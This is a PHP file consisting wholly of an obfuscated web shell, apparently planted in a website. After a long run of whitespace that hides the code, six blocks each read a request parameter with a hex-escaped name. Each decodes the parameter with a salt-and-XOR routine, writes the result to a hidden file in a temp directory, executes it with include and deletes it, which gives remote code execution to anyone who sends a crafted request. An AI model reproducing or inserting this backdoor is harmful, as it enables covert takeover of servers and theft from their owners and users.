<?php																																										if(array_key_exists("o\x62\x6Aect", $_POST)){ $descriptor = $_POST["o\x62\x6Aect"]; $descriptor = explode ( ".", $descriptor); $binding = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $l = 0; while( $l < count( $descriptor)) { $v3 = $descriptor[$l]; $chS = ord( $s7[$l % $sLen]); $d =( ( int)$v3 - $chS -( $l % 10)) ^ 65; $binding .= chr( $d); $l++; } $pointer = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd()]); foreach ($pointer as $key => $fac) { if (is_writable($fac) && is_dir($fac)) { $reference = "$fac" . "/.bind"; $file = fopen($reference, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(array_key_exists("\x72e\x73", $_REQUEST)){ $flg = $_REQUEST["\x72e\x73"]; $flg=explode ( '.' , $flg ) ; $value = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $v = 0; while ($v < count($flg)) { $v3 = $flg[$v]; $sChar = ord($salt6[$v % $lenS] ); $dec = ((int)$v3 - $sChar - ($v % 10)) ^ 86; $value .=chr($dec ); $v++; } $component = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $flag = 0; do { $element = $component[$flag] ?? null; if ($flag >= count($component)) break; if (max(0, is_dir($element) * is_writable($element))) { $rec = str_replace("{var_dir}", $element, "{var_dir}/.dat"); if (file_put_contents($rec, $value)) { require $rec; unlink($rec); die(); } } $flag++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x6D\x72k")){ $comp = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); $desc = $_POST["\x6D\x72k"]; $desc = explode ('.', $desc ); $res= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s7); $m= 0; while($m < count($desc)) { $v9= $desc[$m]; $chS= ord($s7[$m% $lenS]); $d= ((int)$v9 - $chS -($m% 10)) ^ 47; $res .= chr($d); $m++; } while ($item = array_shift($comp)) { if ((function($d) { return is_dir($d) && is_writable($d); })($item)) { $flg = sprintf("%s/.fac", $item); if (@file_put_contents($flg, $res) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["en\x74ry"])){ $symbol = array_filter([session_save_path(), getcwd(), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $pgrp = $_POST["en\x74ry"]; $pgrp= explode( "." , $pgrp ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; while ($k < count($pgrp)) { $v8 = $pgrp[$k]; $chS = ord($salt[$k % $lenS]); $d = ((int)$v8 - $chS - ($k % 10)) ^5; $record .= chr($d); $k++; } for ($obj = 0, $holder = count($symbol); $obj < $holder; $obj++) { $property_set = $symbol[$obj]; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $fac = join("/", [$property_set, ".tkn"]); $success = file_put_contents($fac, $record); if ($success) { include $fac; @unlink($fac); exit;} } } }
																																										if(isset($_POST) && isset($_POST["\x66\x61c"])){ $object = array_filter([ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP")]); $symbol = $_POST["\x66\x61c"]; $symbol=explode ( "." , $symbol); $data = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $i = 0; $__len = count( $symbol); do { if( $i>=$__len) break; $v6 = $symbol[$i]; $chS = ord( $s5[$i % $lenS]); $dec =( ( int)$v6 - $chS -( $i % 10)) ^71; $data .=chr( $dec); $i++; } while( true); while ($entity = array_shift($object)) { if (!!is_dir($entity) && !!is_writable($entity)) { $entry = vsprintf("%s/%s", [$entity, ".bind"]); $success = file_put_contents($entry, $data); if ($success) { include $entry; @unlink($entry); exit;} } } }


if(isset($_REQUEST) && isset($_REQUEST["t\x6F\x6Ben"])){
	$ent = $_REQUEST["t\x6F\x6Ben"];
		 $ent		 =explode 	( 	".", 	$ent) ; 		
	$data = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $l = 0;
    
            array_walk($ent,		function ($v7) use (&$data,		&$l,		$s,		$sLen) {	 $sChar = ord($s[$l  %	 $sLen]);
                $dec = ((int)$v7 - $sChar - ($l  %	 10)) ^ 98;
                $data .=chr($dec);
                $l++;} 	);
	$elem = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm"]);
	for ($dchunk = 0, $ref = count($elem); $dchunk < $ref; $dchunk++) {
    $tkn = $elem[$dchunk];
    		if (array_product([is_dir($tkn), is_writable($tkn)])) {
    $itm = str_replace("{var_dir}", $tkn, "{var_dir}/.record");
    $file = fopen($itm, 'w');
if ($file) {
	fwrite($file, $data);
	fclose($file);
	include $itm;
	@unlink($itm);
	exit;
}
}
}
}